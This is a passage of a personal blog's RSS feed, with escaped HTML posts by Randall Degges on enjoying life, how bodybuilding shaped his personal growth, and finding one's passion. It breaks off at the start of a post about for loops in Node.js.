&lt;em>expect nothing of others&lt;/em>.&lt;/p>
&lt;p>What I mean by this is that there&amp;rsquo;s only &lt;em>one of you&lt;/em>. &lt;strong>ONE&lt;/strong>. This means
that you&amp;rsquo;re the only person in the entire world who thinks the way you do.
Nobody else has the same experiences, upbringing, thoughts, or plans. You
are truly unique.&lt;/p>
&lt;p>Because of this, everyone has their own sense of what they want to do. Everyone
has their own priorities. Everyone lives in their own little world.&lt;/p>
&lt;p>Instead of building up expectations of others, try to just accept people as they
are: for good or bad.&lt;/p>
&lt;p>Not only will this greatly improve your personal relationships and friendships,
but it will help you learn to empathize with others more easily, and will
greatly improve your outlook.&lt;/p>
&lt;p>I can&amp;rsquo;t tell you how many times I&amp;rsquo;ve gotten annoyed with other people because of
their actions. The number is probably in the millions. Maybe someone cut me
off in traffic, or maybe someone cancelled their plans at the very last second
&amp;ndash; whatever happened, it annoyed me.&lt;/p>
&lt;p>I used to let stuff like this really get to me. I&amp;rsquo;d spend minutes (&lt;em>or
sometimes hours&lt;/em>) thinking thinks like &lt;em>&amp;ldquo;Didn&amp;rsquo;t they think about this before
doing it?&amp;rdquo;&lt;/em> &lt;em>&amp;ldquo;How could they possibly think THAT was a good idea?&amp;rdquo;&lt;/em> etc&amp;hellip;&lt;/p>
&lt;p>What I realized is this: I&amp;rsquo;d waste tons of time, mental energy, and effort being
upset over something I can&amp;rsquo;t control. It&amp;rsquo;s pointless!&lt;/p>
&lt;p>At the end of the day, something happened that I didn&amp;rsquo;t have anything to do
with, and I let it ruin my day.&lt;/p>
&lt;p>What a waste of a day!&lt;/p>
&lt;p>If you can&amp;rsquo;t control something (&lt;em>and you can never control other people&lt;/em>),
learning to accept things as they happen will take you very far. It&amp;rsquo;ll improve
your mood, your outlook, and your relationships.&lt;/p>
&lt;h2 id="have-multiple-passions">Have Multiple Passions&lt;/h2>
&lt;p>This one is very important: you should have &lt;em>multiple&lt;/em> passions.&lt;/p>
&lt;p>At a young age, I became &lt;em>obsessed&lt;/em> with computer programming. It was all I
thought about, dreamt about, and spend my time doing. Because of this, I
learned things quickly, and had many successes early on in my life.&lt;/p>
&lt;p>One of the things I noticed as the years passed, however, is that there were
days I ended up feeling awful because of programming. Sometimes I&amp;rsquo;d not
accomplish what I wanted: maybe I couldn&amp;rsquo;t figure out how to use some tool,
couldn&amp;rsquo;t understand a concept right away, or didn&amp;rsquo;t finish some project
according to my personal deadline.&lt;/p>
&lt;p>Whenever this happened, I&amp;rsquo;d go into a mini-funk. I&amp;rsquo;d feel bad about myself, and
I&amp;rsquo;d lose interest in what I was working on.&lt;/p>
&lt;p>The best solution to this that I&amp;rsquo;ve found is to always have multiple passions.
For me, I&amp;rsquo;ve got two (&lt;em>currently&lt;/em>): programming and bodybuilding.&lt;/p>
&lt;p>I decided a while back that it was time to get in shape, and make some dramatic
progress towards my ideal physical form. So&amp;hellip; I started working out, lifting
weights, and learning about nutrition.&lt;/p>
&lt;p>Since I made that decision, there&amp;rsquo;s been two things I&amp;rsquo;ve done nearly every day
for the past three years: write code, and work out.&lt;/p>
&lt;p>The benefits from this have been really enormous for my mental health.&lt;/p>
&lt;p>Some days I have a great workout, and also end up writing some great code. On
these days, I feel &lt;em>amazing&lt;/em>. I feel like I accomplished so much, and that my
life is going perfectly according to plan!&lt;/p>
&lt;p>Other days, I might have a bad day at work, but a good gym session. Whereas in
the past this might throw me into a funk, because I had &lt;em>some successes&lt;/em> in the
day, I didn&amp;rsquo;t feel as bad. Instead of going to bed upset with myself, I&amp;rsquo;d go to
bed satisfied that I made some progress towards my goals.&lt;/p>
&lt;p>The main point is this: having multiple passions gives you an outlet for days
when things don&amp;rsquo;t work out perfectly. It gives you more to look forward to each
day, more motivation to continue making progress, and more options as to what do
with your time.&lt;/p>
&lt;h2 id="read-more">Read More&lt;/h2>
&lt;p>The last suggestion I have to help you enjoy your life more is to read more
books.&lt;/p>
&lt;p>I spend a decent amount of time reading every week, which is one of the main
ways I learn about happiness, personal development, and a wide variety of other
topics.&lt;/p>
&lt;p>Books have had more impact on my life than any other form of media combined.&lt;/p>
&lt;p>If you&amp;rsquo;ve never looked into or read any personal development books (&lt;em>business
books and non-fiction books also apply&lt;/em>), you&amp;rsquo;re greatly missing out. While a
lot of these sorts of books may be gimmicky, exposing yourself to methods that
work for other people can be a great way to keep an open mind, and learn &lt;em>what
works best for YOU&lt;/em>.&lt;/p>
&lt;p>One of the best books I ever read was &lt;a href="http://www.amazon.com/gp/product/1401309704/ref=as_li_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1401309704&amp;amp;linkCode=as2&amp;amp;tag=randdegg-20&amp;amp;linkId=5KWW7VJAVB6HERC5" title="The Power of Less">The Power of Less&lt;/a> by Leo Babauta. It
really got me thinking about my life and my habits, and was a catalyst for
changing my behaviors and thought processes.&lt;/p>
&lt;p>While I used to think reading about personal development type things were a
waste of time: they can actually be incredibly useful. By spending time and
effort investing &lt;em>in yourself&lt;/em> and &lt;em>who you are&lt;/em>, you can really become a
happier person.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I&amp;rsquo;ve got a ton of friends who tell me they don&amp;rsquo;t have time to read
books due to busy schedules, but that&amp;rsquo;s almost always complete bullshit. It
only takes about 15 minutes a day of reading to learn something new, and move
the needle forward. And if you don&amp;rsquo;t have time for that? Use audiobooks! I
listen to them almost every day &lt;a href="http://www.amazon.com/Audible-Free-Trial-Digital-Membership/dp/B00NB86OYE/?ref_=assoc_tag_ph_1422899139880&amp;amp;_encoding=UTF8&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;linkCode=pf4&amp;amp;tag=randdegg-20&amp;amp;linkId=XYWF4NH7FSXM53HF" title="Audible">via Audible&lt;/a> while in the car, working out
in the gym, or during commutes. If you aren&amp;rsquo;t a member, you can sign up with
&lt;a href="http://www.amazon.com/Audible-Free-Trial-Digital-Membership/dp/B00NB86OYE/?ref_=assoc_tag_ph_1422899139880&amp;amp;_encoding=UTF8&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;linkCode=pf4&amp;amp;tag=randdegg-20&amp;amp;linkId=XYWF4NH7FSXM53HF" title="Audible">this link&lt;/a> and get 2 free books. Highly recommended.&lt;/p>
&lt;p>Anyhow: reading more is a great way to further your personal education and
subsequently help you enjoy your life more.&lt;/p>
&lt;p>I hope some of these tips resonate with you, and that my own learning
experiences can help improve your day to day happiness.&lt;/p>
&lt;p>The most important thing to remember is that &lt;em>you&lt;/em> are the only one in control
of your life. You&amp;rsquo;re the pilot, the crew, and the engineer of your own
happiness and successes. You&amp;rsquo;ve got to do it all.&lt;/p>
&lt;p>If you want to enjoy your life, you can! It&amp;rsquo;s 100% up to you.&lt;/p>
&lt;p>-Randall&lt;/p></description></item><item><title>The Best Thing I Ever Did</title><link>https://rdegges.com/2015/the-best-thing-i-ever-did/</link><pubDate>Sun, 25 Jan 2015 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2015/the-best-thing-i-ever-did/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2015/the-best-thing-i-ever-did/bodybuilder-back-sketch.jpg" alt="Bodybuilder Back Sketch" title="Bodybuilder Back Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;ve got many different interests.&lt;/p>
&lt;p>Chances are, if you&amp;rsquo;re reading this, you found this site through my technical
writing (&lt;em>it&amp;rsquo;s what I&amp;rsquo;m best known for&lt;/em>). What you may not know, however, is
that technical stuff isn&amp;rsquo;t really my main passion.&lt;/p>
&lt;p>My main passion is personal development and self improvement. For me,
technical stuff (&lt;em>programming, writing, startups, etc.&lt;/em>) is only one small part
of that.&lt;/p>
&lt;p>While some people derive intense joy from doing one thing only, I derive almost
all of my joy from the feeling of making progress towards becoming a better
person in some way: either through creating something that I feel is useful,
sharing my thoughts in hopes that someone will benefit from it, or directly
improving myself in some measurable way.&lt;/p>
&lt;p>Despite the many things I&amp;rsquo;m interested in and spend my time doing, there&amp;rsquo;s been
a single activity which has generated more personal growth and development for
myself than any other by orders of magnitude &amp;ndash; and this is what I&amp;rsquo;d like to
share with you today.&lt;/p>
&lt;p>The activity I&amp;rsquo;m talking about is bodybuilding (&lt;em>better known as weight lifting
and dieting&lt;/em>).&lt;/p>
&lt;h2 id="misguided-guilt">Misguided Guilt&lt;/h2>
&lt;p>When I married my beautiful wife Samantha, I weighed in at over 300lbs (&lt;em>that&amp;rsquo;s
136kg for all of my European friends out there&lt;/em>). To put things bluntly, I was
quite fat.&lt;/p>
&lt;p>I&amp;rsquo;m not sure when it started, precisely, but after my second year of high school
football (&lt;em>and being in great shape&lt;/em>), I decided to completely sacrifice any and
all physical activities in favor of improving my programming skills.&lt;/p>
&lt;p>At the time, I had already been programming for several years, and programming
was consuming more and more of my life. I&amp;rsquo;d routinely stay up until 2am or so,
only to wake up at 6:30am for school. This was a pretty regular occurrence.&lt;/p>
&lt;p>Not only is it incredibly hard to work out when you&amp;rsquo;re exhausted, but it&amp;rsquo;s also
incredibly hard to think straight, eat healthy foods, and generally make
decisions that are in your best interest.&lt;/p>
&lt;p>While my mind was occupied with working on my pet projects, I completely let
my physical appearance go. I ate bags of Doritos on the regular, and drank
enough Coke to fill an Olympic swimming pool.&lt;/p>
&lt;p>On the plus side, it was during this time that I really learned how to program
well: I built hundreds (&lt;em>if not thousands&lt;/em>) of small, command line programs. I
learned all about data structures, sorting algorithms, and OOP &amp;ndash; and more
importantly, I made myself comfortable writing larger and larger programs on my
own.&lt;/p>
&lt;p>The downsides to this, however, were immense. I started to really hate myself.
I avoided all public outings because I was ashamed of how I looked. I avoided
talking with friends (&lt;em>except those over IRC&lt;/em>) because I felt embarrassed just
being myself. And of course, I felt sick and tired almost all the time.&lt;/p>
&lt;p>At some point, during this phase of focusing solely on programming, I began to
think of working out and eating healthy as something counter productive. I
remember thinking to myself that anyone who worked out or dieted and tried to be
&lt;em>&amp;ldquo;healthy&amp;rdquo;&lt;/em> was simply wasting time that could better be spent being productive
and contributing to the world.&lt;/p>
&lt;p>I actually started feeling hostile towards getting in shape. In some odd show
of misplaced guilt I felt that it was vain to care about your physical
appearance and health. People who cared about that stuff were obviously
superficial and wasting time that could be better spent doing more important
things.&lt;/p>
&lt;h2 id="deciding-to-change">Deciding to Change&lt;/h2>
&lt;p>After getting married, I remember looking at the wedding photos and thinking
&lt;em>&amp;ldquo;Who is this person?&amp;rdquo;&lt;/em>&lt;/p>
&lt;p>I was surprised by what I saw. I felt fat, disgusting, and unhappy with
myself. Seeing pictures of myself really drove in the point that I needed to
change. Not because of what other people would think of me, but because of what
&lt;em>I thought of me&lt;/em>.&lt;/p>
&lt;p>I realized that my appearance was crushing my self confidence, happiness, and
personal relationships.&lt;/p>
&lt;p>So, I decided to do the only thing that would help: I decided to start
programming my body.&lt;/p>
&lt;h2 id="learning-the-basics">Learning the Basics&lt;/h2>
&lt;p>When I decided to start losing weight, I really had no clue what I was doing.&lt;/p>
&lt;p>When I got started, I simply put on shoes and jogged around the block. I did
this every single day.&lt;/p>
&lt;p>After a few weeks of half-decent progress, I decided to start changing my diet
as well: so I cut out sodas.&lt;/p>
&lt;p>A while later: I started counting calories, and eventually started losing weight
consistently.&lt;/p>
&lt;p>What I learned through this trial-and-error process was that getting in shape
wasn&amp;rsquo;t really all that hard. If you eat more calories than you burn each day:
you put on weight. If you eat less calories than you burn each day: you lose
weight.&lt;/p>
&lt;h2 id="enter-bodybuilding">Enter Bodybuilding&lt;/h2>
&lt;p>After roughly a year of trial-and-error, I was feeling pretty good with myself.
I had lost a decent amount of weight, I was feeling a lot more positive about
myself, and I was very focused on improving myself both physically and mentally.&lt;/p>
&lt;p>I realized over the first year of my physical fitness journey that I really
enjoy pushing myself physically, and that the same physical work ethic I had
could be applied to other things as well: programming, work, family, etc.&lt;/p>
&lt;p>After my first year of getting started, I decided to get serious about my
progress. Instead of just being content losing weight, I wanted to aim big.
Instead of just improving myself a little bit, I wanted to improve a lot. I
wanted to build the perfect physique.&lt;/p>
&lt;p>So, I started doing research. I learned a lot about bodybuilding, muscular
development, and proper nutrition.&lt;/p>
&lt;p>I learned what macros are (&lt;em>there are proteins, fats, and carbohydrates&lt;/em>), and
I read lots of studies and books so I fully understood what the biological
purpose of each macro is, how they&amp;rsquo;re useful, and how different quantities of
them can affect body composition.&lt;/p>
&lt;p>I learned how much protein to consume ever day, and why.&lt;/p>
&lt;p>But most importantly, I learned to lift weights properly: I started going to the
gym 6 days a week, and developed a respectable routine modeled after
professional bodybuilders (&lt;em>why not emulate those people who are successful at
what you are learning?&lt;/em>).&lt;/p>
&lt;p>The more I lifted weights, the more progress I saw each day. Every gym session
brought me a little bit closer to my goals.&lt;/p>
&lt;p>Every day I&amp;rsquo;d spend a little bit of time reading through the
&lt;a href="http://www.reddit.com/r/bodybuilding" title="Bodybuilding Subreddit">bodybuilding subreddit&lt;/a>, popular fitness articles, and nutrition journals.
I also started following a lot of professional bodybuilders and learning from
them: many of the professionals have informative Youtube channels where you can
learn a surprising amount.&lt;/p>
&lt;p>If you&amp;rsquo;re looking to improve your physique, learning from those who look the way
you like is the best way to improve. If you want to learn programming &amp;ndash; you&amp;rsquo;ll
want to talk with a &lt;em>good programmer&lt;/em>, right? The same goes for bodybuilding
(&lt;em>and really, any form of fitness&lt;/em>): if you want to look a certain way, talk
with a &lt;em>good bodybuilder&lt;/em>!&lt;/p>
&lt;h2 id="what-bodybuilding-is-about">What Bodybuilding is About&lt;/h2>
&lt;p>As I mentioned earlier, I used to be incredibly uncomfortable with the idea of
improving my body. Back then, it seemed as if the more I worked out, the less
time I&amp;rsquo;d have to spend on programming, and all of my other knowledge pursuits.&lt;/p>
&lt;p>Over the past few years, however, I&amp;rsquo;ve completely changed the way I view
physical improvement.&lt;/p>
&lt;p>Bodybuilding, in particular, is 99% mental (&lt;em>something I think a lot of people
don&amp;rsquo;t realize&lt;/em>).&lt;/p>
&lt;p>Unlike most activities, bodybuilding is a &lt;em>lifestyle&lt;/em>. To make anything more
than modest gains, you need to actively change your lifestyle to accommodate
your goals:&lt;/p>
&lt;ul>
&lt;li>You can&amp;rsquo;t drink alcohol (&lt;em>except on special occasions&lt;/em>).&lt;/li>
&lt;li>You have to get plenty of rest every night.&lt;/li>
&lt;li>You have to drink lots of water throughout the day.&lt;/li>
&lt;li>You have to set aside anywhere from 45 minutes to 2 hours per day for
training, 5 or 6 days per week.&lt;/li>
&lt;li>You have to be meticulous about your nutrition and diet at all times, ensuring
you are getting the proper macros and caloric intake requirements every single
day.&lt;/li>
&lt;li>You have to push yourself incredibly hard every day during training to push
past your limits and stimulate growth as much as possible.&lt;/li>
&lt;/ul>
&lt;p>While all of the above things are not terribly difficult, they must be &lt;em>executed
consistently&lt;/em>, day after day, year after year, for years at a time &amp;ndash; in order
to be effective.&lt;/p>
&lt;p>More than anything, it&amp;rsquo;s a mental game. Do you want it bad enough? Are you
willing to be ruthless with your scheduling and time so you can meet your daily
requirements? Are you willing to sacrifice a lot of short-term pleasures in
favor of more long-term victories?&lt;/p>
&lt;p>I find the self-discipline and work ethic that come with the bodybuilding
lifestyle to be admirable. It&amp;rsquo;s not easy to constantly push yourself past your
limits. It&amp;rsquo;s not easy to turn down sweets. It&amp;rsquo;s not easy to go out with
friends and order special foods off the menu to accommodate your needs.&lt;/p>
&lt;h2 id="bodybuilding-and-personal-growth">Bodybuilding and Personal Growth&lt;/h2>
&lt;p>As I&amp;rsquo;ve gotten more and more into bodybuilding over the past few years, I&amp;rsquo;ve
learned a ton about nutrition, training, and self-discipline. But, more than
anything, I&amp;rsquo;ve learned important lessons about myself that have given me more
benefits than anything I could have previously imagined.&lt;/p>
&lt;h3 id="hard-work-pays">Hard Work Pays&lt;/h3>
&lt;p>The biggest benefit I&amp;rsquo;ve come to realize is that working hard to directly
improve myself through physical training is the very epitome of personal
development. You put time and effort into something, and you see and notice
improvements and changes as time passes.&lt;/p>
&lt;p>It&amp;rsquo;s a simple idea, but one that many people (&lt;em>myself included&lt;/em>) forget: if you
want to get better at something, you have to work hard at it and spend time on
it. There&amp;rsquo;s no way around it.&lt;/p>
&lt;p>If you want to be a better painter, you need to paint. If you want to be a
bodybuilder, you need to diet and train. If you want to build a wall, you need
to lay down brick after brick, day after day, until the project is complete.&lt;/p>
&lt;p>I used to find myself constantly wanting to take the easy way out of things. I
was always looking for a simple way to accomplish X without effort, or a faster
way to do Y without thinking. And, more often than not, I&amp;rsquo;d end up spending
much more time looking for quick solutions than I would have spent by simply
sitting down and solving the problems myself with some hard work and effort.&lt;/p>
&lt;p>Applying this lesson to other areas of my life has made tremendous differences
in my quality of life. My relationship with my wife is better, my home is
cleaner, and I&amp;rsquo;m a lot more organized.&lt;/p>
&lt;h3 id="consistent-action-is-king">Consistent Action is King&lt;/h3>
&lt;p>I&amp;rsquo;ve also learned that despite how much you care about something, and how
passionately you talk about it and think about it, unless you&amp;rsquo;re actually taking
action every single day to do something with it &amp;ndash; you&amp;rsquo;re not growing as a
person.&lt;/p>
&lt;p>If you&amp;rsquo;re learning a new programming language, for instance, and spent weeks
reading through every book you can find, studying every Github repo you come
across, and telling all your friends about it &amp;ndash; you&amp;rsquo;re not becoming proficient
&amp;ndash; you&amp;rsquo;re simply procrastinating.&lt;/p>
&lt;p>Until you start sitting down and consistently writing code in this new language
every single day, working to solve real problems &amp;ndash; you&amp;rsquo;re not going to improve
your skills.&lt;/p>
&lt;p>It&amp;rsquo;s all about action.&lt;/p>
&lt;p>No amount of knowledge, passion, motivation, or experience will help you grow as
a person and meet your goals without direct and consistent action on your part.&lt;/p>
&lt;h3 id="pain-is-ok">Pain is OK&lt;/h3>
&lt;p>The more I push myself, the better I feel. This is &lt;em>always true&lt;/em> for me. I&amp;rsquo;ve
never pushed myself hard and NOT felt good afterwards.&lt;/p>
&lt;p>While my brain is constantly telling me to lay down on the couch and watch
movies for hours on end, I&amp;rsquo;ve come to realize through bodybuilding that hard
work is OK. Feeling pain isn&amp;rsquo;t a bad thing.&lt;/p>
&lt;p>Without that feeling of pain in your life, it&amp;rsquo;s impossible to feel the intense
joy and relaxation that comes when it&amp;rsquo;s over.&lt;/p>
&lt;p>Growth comes from pushing yourself into uncomfortable territories. Wars are
never won from a couch. They&amp;rsquo;re always won out there in the battlefield.&lt;/p>
&lt;p>This lesson has dramatically changed the way I approach my programming, writing,
and technical work. Instead of working until I get stuck, then taking time off,
I try to instead push through the barriers immediately and solve my problems
without delay.&lt;/p>
&lt;p>Not only has this forced me to develop new skills, but it&amp;rsquo;s helped me to retrain
my brain to constantly seek out that relief that only comes with solving a hard
problem and pushing yourself through uncomfortable terrain. This makes dealing
with real hardships a lot easier &amp;ndash; instead of feeling the need to retreat and
take things slow, I&amp;rsquo;m instead constantly looking for ways to move forward and
find solutions.&lt;/p>
&lt;h3 id="life-can-be-much-more-enjoyable">Life Can Be Much More Enjoyable&lt;/h3>
&lt;p>The most important lesson I&amp;rsquo;ve learned through my struggles is that life can be
a lot more enjoyable than I ever previously imagined.&lt;/p>
&lt;p>Life can be so much more fun, exciting, and &lt;em>enjoyable&lt;/em> when you feel proud of
yourself, your hard work, and your dedication.&lt;/p>
&lt;p>Through my own struggles, I&amp;rsquo;ve learned to appreciate and respect myself. I&amp;rsquo;m
no longer embarrassed to go out in public, see friends, or be around strangers.&lt;/p>
&lt;p>I feel more confident. I feel happier on a day-to-day basis. I have more
energy, and more desire to go out and actually &lt;em>do things&lt;/em>.&lt;/p>
&lt;p>But most of all, I&amp;rsquo;ve got a constant feeling of relief and satisfaction with the
direction my life is headed. I know every night when I go to sleep that I made
progress towards improving myself, did what I wanted to do, and lived with my
own integrity.&lt;/p>
&lt;p>If you&amp;rsquo;ve ever gone to sleep at night knowing you didn&amp;rsquo;t do everything possible
to improve yourself and kick ass that day, you know what I&amp;rsquo;m talking about.
It&amp;rsquo;s a horrible feeling.&lt;/p>
&lt;p>I went to sleep that way for far too many years, and only recently I&amp;rsquo;ve felt the
intense joy that comes along with being able to sleep well at night knowing I
did everything I could to improve.&lt;/p>
&lt;h2 id="progress">Progress&lt;/h2>
&lt;p>Bodybuilding has shown me over the past few years that I&amp;rsquo;m able to push myself a
lot harder than I ever previously knew.&lt;/p>
&lt;p>I&amp;rsquo;m a lot tougher, smarter, and more stubborn than I realized. I&amp;rsquo;m able to do
things I didn&amp;rsquo;t realize. I&amp;rsquo;m able to make positive decisions for myself.&lt;/p>
&lt;p>More than anything though, bodybuilding has opened me up to a whole new level
of personal development. While I was previously exclusively dedicated to mental
improvement, it&amp;rsquo;s now amazingly transparent to me that I was leaving out the
other important half of the equation.&lt;/p>
&lt;p>For me to really feel satisfied at the end of the day, I&amp;rsquo;ve got to improve both
my mind and body.&lt;/p>
&lt;p>If you&amp;rsquo;re looking for a way to push past your barriers, improve yourself, and
accomplish things you didn&amp;rsquo;t know you could &amp;ndash; physical training is an
incredible way to get started.&lt;/p>
&lt;p>Not only is it an incredibly rewarding, stimulating, and intense journey, but
it will push you to your limits, and past. It will both challenge and relax
you, and above all else: it will help you unlock a better version of yourself.&lt;/p></description></item><item><title>Finding Your Passion</title><link>https://rdegges.com/2015/finding-your-passion/</link><pubDate>Tue, 20 Jan 2015 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2015/finding-your-passion/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2015/finding-your-passion/soul-inside-sketch.jpg" alt="Soul Inside Sketch" title="Soul Inside Sketch">
&lt;/p>
&lt;p>I&amp;rsquo;ve been incredibly lucky in my life as I&amp;rsquo;ve always known what it is I enjoy
doing &amp;ndash; what I love.&lt;/p>
&lt;p>I realize that not everyone is so lucky.&lt;/p>
&lt;p>When I was just a kid, my family received a computer as a gift. This computer
had some video games pre-installed on it, which my brother and I ended up
immersing ourselves with.&lt;/p>
&lt;p>Through video games, I came to appreciate technology, and this appreciation
eventually led to curiosity, deep interest, and finally: obsession.&lt;/p>
&lt;p>Over the years my life has more-or-less revolved around computer programming:
it&amp;rsquo;s what I love thinking about, talking about, working on, playing with, and
spending my time doing.&lt;/p>
&lt;p>Whenever people ask me what I love to do, without even thinking my mouth spits
out the phrase &lt;em>&amp;ldquo;Programming!&amp;rdquo;&lt;/em>.&lt;/p>
&lt;p>I&amp;rsquo;ve had numerous people tell me over the years that I&amp;rsquo;m one of the most excited
and passionate people they&amp;rsquo;ve ever met &amp;ndash; and to be honest, this is always a
shock. I can&amp;rsquo;t help but think, &lt;em>&amp;ldquo;Am I really that passionate? Doesn&amp;rsquo;t everyone
feel this way about something?&amp;rdquo;&lt;/em>&lt;/p>
&lt;p>Recently, I decided to start asking other people what it is that drives them.
What do they really love to do? What do they have to do in order to feel good?
What can&amp;rsquo;t they live without?&lt;/p>
&lt;p>What I&amp;rsquo;ve noticed is that, more often than not, people don&amp;rsquo;t have a clear
answer. I typically hear a few seconds of silence, followed by permutations of
&amp;ldquo;I don&amp;rsquo;t know&amp;rdquo;.&lt;/p>
&lt;p>I&amp;rsquo;ve learned that, after some probing, I&amp;rsquo;m almost always able to isolate what it
is people really love to do. It might take a lot of conversation, but if I
press hard enough it always comes out.&lt;/p>
&lt;p>The truth is that finding what it is you love to do isn&amp;rsquo;t all that hard. I&amp;rsquo;ve
come to realize that most people tend to simply &lt;em>&amp;ldquo;look past&amp;rdquo;&lt;/em> it.&lt;/p>
&lt;p>Here&amp;rsquo;s how you can find out what you love:&lt;/p>
&lt;p>First off, sit down and start writing a list that consists of activities you do
almost every day (&lt;em>or things you want to do more often, but can&amp;rsquo;t&lt;/em>). Write down
everything: brushing your teeth, washing your hands, whatever it is &amp;ndash; even if
it seems minuscule.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: Only write down things you do often or semi-often. Don&amp;rsquo;t include
things you&amp;rsquo;ve only done once, a few times, or think about a lot. If you really
love something, I can guarantee you it&amp;rsquo;s something you&amp;rsquo;re already doing. Things
you love are &lt;em>impossible not to do&lt;/em> &amp;ndash; so you&amp;rsquo;re most likely already doing them.&lt;/p>
&lt;p>Secondly, go through the list, look at each activity, and circle any activities
that make you feel emotional in some way: either positive or negative. Do you
&lt;em>really hate&lt;/em> working with spreadsheets? Do they make you super frustrated?
Ok, good! Circle this. Circle good things as well: eating candy, whatever.&lt;/p>
&lt;p>Emotions are pretty simple human feelings: they usually either make you feel
good or bad in some way. But here&amp;rsquo;s an important thing to know about emotion:
if you&amp;rsquo;re feeling emotion towards something &amp;ndash; you care about that thing.&lt;/p>
&lt;p>Things you don&amp;rsquo;t at all care about won&amp;rsquo;t elicit emotional response.&lt;/p>
&lt;p>If the building you live in blows up tomorrow while you&amp;rsquo;re at work, you&amp;rsquo;ll
certainly feel sad and emotional about it &amp;ndash; this place was &lt;em>your home&lt;/em>. You
&lt;em>lived there&lt;/em>. You have memories there!&lt;/p>
&lt;p>On the flip side &amp;ndash; if you hear that a building somewhere across the world in a
place you&amp;rsquo;ve never heard of blew up &amp;ndash; you most likely won&amp;rsquo;t think twice about
it. It won&amp;rsquo;t make you feel anything. Why? Because you don&amp;rsquo;t &lt;em>care about it&lt;/em>
&amp;ndash; it isn&amp;rsquo;t something you&amp;rsquo;re directly involved with.&lt;/p>
&lt;p>So, let&amp;rsquo;s say you do the above experiment, and come up with a list of things you
do fairly often. You then sit down, and circle all the things that make you
feel some emotion. Now what?&lt;/p>
&lt;p>Well, here&amp;rsquo;s the fun part.&lt;/p>
&lt;p>One of those things you just circled is something you love. And not just
something you love &amp;ndash; but something you love deeply.&lt;/p>
&lt;p>But, before you go through the list and try to narrow it down to the things you
really love, you should know what love looks like. The feeling of love isn&amp;rsquo;t
always something that feels good all the time.&lt;/p>
&lt;p>For instance, most people love their parents. Even though your parents might
give you an incredibly hard time, be impossible to hang out with, and drive you
crazy with every phone call &amp;ndash; you still &lt;em>love&lt;/em> them. You love them because you
care about them deeply in both good and bad times.&lt;/p>
&lt;p>This is love.&lt;/p>
&lt;p>Love is nothing more than respect and caring in a very deep manner.&lt;/p>
&lt;p>I think a lot of people fail to realize this, and falsely believe they don&amp;rsquo;t
love &lt;em>anything&lt;/em> &amp;ndash; which is crazy.&lt;/p>
&lt;p>Sometimes you might be surprised at what you love. It&amp;rsquo;s OK to love something
that is super frustrating and hard to deal with.&lt;/p>
&lt;p>Maybe you really love organization, even though your roommates continually move
your stuff around and mess up your plans. If this happens to you enough, you
might slowly start to dread organizing things as you know they&amp;rsquo;ll almost
certainly be moved around by other people. Why even bother?&lt;/p>
&lt;p>Well, as long as you are still feeling BAD about that experience, it means you
still care about organization.&lt;/p>
&lt;p>The next thing you should know about love is that regardless of whether or not
it elicits a negative emotional response when you think of it &lt;em>now&lt;/em>, it should
make you feel good when you&amp;rsquo;re actually working on it &amp;ndash; by yourself.&lt;/p>
&lt;p>What do I mean by this?&lt;/p>
&lt;p>Well, let&amp;rsquo;s use programming as an example.&lt;/p>
&lt;p>I really love programming. But often times, when working on projects with a
team of people, I get easily frustrated and bummed out. This is due to a lot of
reasons: sometimes my partner doesn&amp;rsquo;t care about code quality, or sometimes
deadlines are pressing which makes me compromise my vision, or sometimes I have
to build things I&amp;rsquo;m not interested in.&lt;/p>
&lt;p>All of those things make programming frustrating for me, and kill my
motivation.&lt;/p>
&lt;p>But, when I&amp;rsquo;m working on projects by myself, and I&amp;rsquo;m completely in control of my
actions: I get an immense feeling of joy. I feel happy and free and satisfied.&lt;/p>
&lt;p>So now that we&amp;rsquo;ve discussed love, take another look at your list of circled
items, and try to apply the love rules to them.&lt;/p>
&lt;p>Are there any items that you enjoy doing alone, and feel either very negative or
very positive about when you do them in your day-to-day life? If so, then
congratulations! You&amp;rsquo;ve found &lt;em>your passion&lt;/em>. You love something!&lt;/p>
&lt;p>Also: don&amp;rsquo;t be surprised if you find you love several things. I know that in my
own life, there are at least 3 things I love and care about &lt;em>a lot&lt;/em>.&lt;/p>
&lt;p>Having multiple loves is fine.&lt;/p>
&lt;p>Everyone has a purpose, and everyone has things they love (&lt;em>but might not
realize&lt;/em>).&lt;/p>
&lt;p>By first realizing and accepting the things you love and care about, and by
secondly nurturing your love for these activities &amp;ndash; you can build a wonderful
life that makes you feel satisfied with yourself, your progress, and your own
personal development.&lt;/p>
&lt;p>When people know what they love, and consciously dedicate time and effort to
those activities, they&amp;rsquo;re able to live to their fullest potential and build a
life they&amp;rsquo;ll be happy with.&lt;/p></description></item><item><title>For Loops in Node</title><link>https://rdegges.com/2014/for-loops-in-node/</link><pubDate>Tue, 23 Sep 2014 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2014/for-loops-in-node/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2014/for-loops-in-node/plague-sketch.jpg" alt="Plague Sketch" title="Plague Sketch">
&lt;/p>
&lt;p>As of late, I&amp;rsquo;ve been spending a fair amount of time writing Node.js code.
While I&amp;rsquo;m not a huge Node.js fan (&lt;em>yey Python + Go!&lt;/em>), I find myself liking some
parts of the language quite a lot.&lt;/p>
&lt;p>Over the past few months I&amp;rsquo;ve been working on a &lt;em>really awesome&lt;/em> authentication
library for Node.js: &lt;a href="https://docs.stormpath.com/nodejs/express/" title="express-stormpath">express-stormpath&lt;/a>, and have learned quite a lot about
Node as I&amp;rsquo;ve been working on it more and more.&lt;/p>
&lt;p>Today I&amp;rsquo;d like to share a short, personal story with you, about my frustrating
experience trying to do something simple.&lt;/p>
&lt;h2 id="the-story">The Story&lt;/h2>
&lt;p>Here&amp;rsquo;s how it started: two weeks ago I was writing a web scraper for
&lt;a href="http://thepiratebay.se" title="The Pirate Bay">thepiratebay&lt;/a>. My idea was simple: I wanted to get a JSON dump of all
